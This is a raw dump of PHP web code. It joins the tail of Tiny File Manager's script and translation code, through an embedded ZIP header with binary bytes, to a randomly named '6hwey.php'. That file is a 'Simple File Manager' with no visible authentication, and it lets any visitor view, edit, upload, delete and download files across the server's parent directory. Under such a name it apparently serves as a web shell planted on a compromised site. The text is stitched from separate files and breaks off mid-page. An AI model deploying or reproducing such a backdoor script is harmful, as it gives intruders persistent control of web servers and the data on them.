function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) { //Create file backup with .bck
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState && 200 == n.status && toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
//Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (n) {
if(true){
var data = {ajax: true, content: n, type: 'save'};
$.ajax({
type: "POST",
url: window.location,
// The key needs to match your method's input parameter (case-sensitive).
data: JSON.stringify(data),
contentType: "multipart/form-data-encoded; charset=utf-8",
//dataType: "json",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
}
else{
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
}
}
}
//Check latest version
function latest_release_info(v) {
if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
//Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
//Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
//Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
//search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt && searchTxt.length > 2 && path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data && data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
//on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Event
$(document).ready( function () {
//load config
fm_get_config();
//dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
mainTable = $('#main-table').DataTable({"paging": false, "info": false, "columnDefs": [{"targets": _targets, "orderable": false}]
});
//search
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE):
$ext = "javascript";
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.1/ace.js"></script>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change(); //set default font size in drop down
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue && cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
&&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
} else if(editorOption == "help") {
var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue && selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue && selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue && selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
/**
* Show image
* @param string $img
*/
function fm_show_image($img)
{
$modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
$expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';
$img = trim($img);
$images = fm_get_images();
$image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
if (isset($images[$img])) {
$image = $images[$img];
}
$image = base64_decode($image);
if (function_exists('mb_strlen')) {
$size = mb_strlen($image, '8bit');
} else {
$size = strlen($image);
}
if (function_exists('header_remove')) {
header_remove('Cache-Control');
header_remove('Pragma');
} else {
header('Cache-Control:');
header('Pragma:');
}
header('Last-Modified: ' . $modified_time, true, 200);
header('Expires: ' . $expires_time);
header('Content-Length: ' . $size);
header('Content-Type: image/png');
echo $image;
exit;
}
/**
* Language Translation System
* @param string $txt
* @return string
*/
function lng($txt) {
global $lang;
// English Language
$tr['en']['AppName'] = 'Tiny File Manager'; $tr['en']['AppTitle'] = 'File Manager';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['RememberMe'] = 'Remember Me'; $tr['en']['Actions'] = 'Actions';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['MemoryUsed'] = 'Memory used'; $tr['en']['PartitionSize'] = 'Partition size';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Full size'] = 'Full size'; $tr['en']['Help'] = 'Help';
$tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size';
$tr['en']['ProcessID'] = 'Process ID'; $tr['en']['Created'] = 'Created';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
else return "$txt";
}
/**
* Get base64-encoded images
* @return array
*/
function fm_get_images()
{
return array(
'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
/ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
);
}
?>
PK uPm\����dK dK 6hwey.phpnu �[��� <?php
// file_manager.php - Simple File Manager with Back Button
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$acc = '';
foreach($parts as $p){
if($p === '') continue;
$acc .= ($acc === '' ? '' : '/') . $p;
$dir_parts[] = ['name' => $p, 'path' => $acc];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
file_put_contents($file_path, $content);
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
}
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>✏️ Edit: ".htmlspecialchars($file)."</h2>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>💾 Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>🚫 Cancel</a>";
echo "</form></body></html>";
exit;
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
} else {
unlink($file_path);
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'upload':
if(!empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
move_uploaded_file($uploaded['tmp_name'], $dest);
@chmod($dest, 0644);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
mkdir($fp, 0755, true);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>📁 File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #2c3e50, #34495e);
color: white;
padding: 25px;
text-align: center;
}
.header h1 {
font-size: 2.2em;
margin-bottom: 10px;
font-weight: 300;
}
.current-path {
font-family: 'Courier New', monospace;
background: rgba(255,255,255,0.1);
padding: 10px;
border-radius: 8px;
margin: 15px 0;
word-break: break-all;
}
.navigation {
background: #ecf0f1;
padding: 20px;
border-bottom: 1px solid #bdc3c7;
}
.btn {
display: inline-flex;
align-items: center;
gap: 8px;
padding: 12px 20px;
background: #3498db;
color: white;
text-decoration: none;
border-radius: 8px;
font-weight: 500;
transition: all 0.3s ease;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #2980b9;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
.btn-secondary {
background: #95a5a6;
}
.btn-secondary:hover {
background: #7f8c8d;
}
.btn-danger {
background: #e74c3c;
}
.btn-danger:hover {
background: #c0392b;
}
.btn-success {
background: #27ae60;
}
.btn-success:hover {
background: #219a52;
}
.toolbar {
display: flex;
gap: 15px;
flex-wrap: wrap;
margin-bottom: 20px;
}
.breadcrumb {
background: #f8f9fa;
padding: 15px 25px;
border-bottom: 1px solid #dee2e6;
}
.breadcrumb a {
color: #3498db;
text-decoration: none;
}
.breadcrumb span {
color: #7f8c8d;
margin: 0 8px;
}
.file-table {
width: 100%;
border-collapse: collapse;
}
.file-table th {
background: #34495e;
color: white;
padding: 15px;
text-align: left;
font-weight: 500;
}
.file-table td {
padding: 15px;
border-bottom: 1px solid #ecf0f1;
}
.file-table tr:hover {
background: #f8f9fa;
}
.file-icon {
width: 20px;
text-align: center;
margin-right: 10px;
}
.folder-row {
background: #f0f8ff;
}
.folder-row:hover {
background: #e3f2fd !important;
}
.action-buttons {
display: flex;
gap: 8px;
flex-wrap: wrap;
}
.empty-folder {
text-align: center;
padding: 60px 20px;
color: #7f8c8d;
}
.empty-folder i {
font-size: 3em;
margin-bottom: 20px;
display: block;
}
.upload-form, .folder-form {
display: flex;
gap: 10px;
align-items: center;
}
input[type="text"], input[type="file"] {
padding: 10px;
border: 1px solid #bdc3c7;
border-radius: 6px;
font-size: 14px;
}
input[type="text"] {
min-width: 200px;
}
@media (max-width: 768px) {
.toolbar {
flex-direction: column;
}
.upload-form, .folder-form {
flex-direction: column;
align-items: stretch;
}
.action-buttons {
flex-direction: column;
}
.btn {
justify-content: center;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>📁 File Manager</h1>
<div class="current-path">
📍 <?= htmlspecialchars($current_dir) ?>
</div>
</div>
<div class="navigation">
<div class="toolbar">
<!-- Back Button -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">
⬅️ Back
</a>
<!-- Home Button -->
<a class="btn btn-secondary" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">
🏠 Project
</a>
<!-- Root Button -->
<a class="btn btn-secondary" href="?action=list&dir=">
📂 Root
</a>
<!-- Upload Form -->
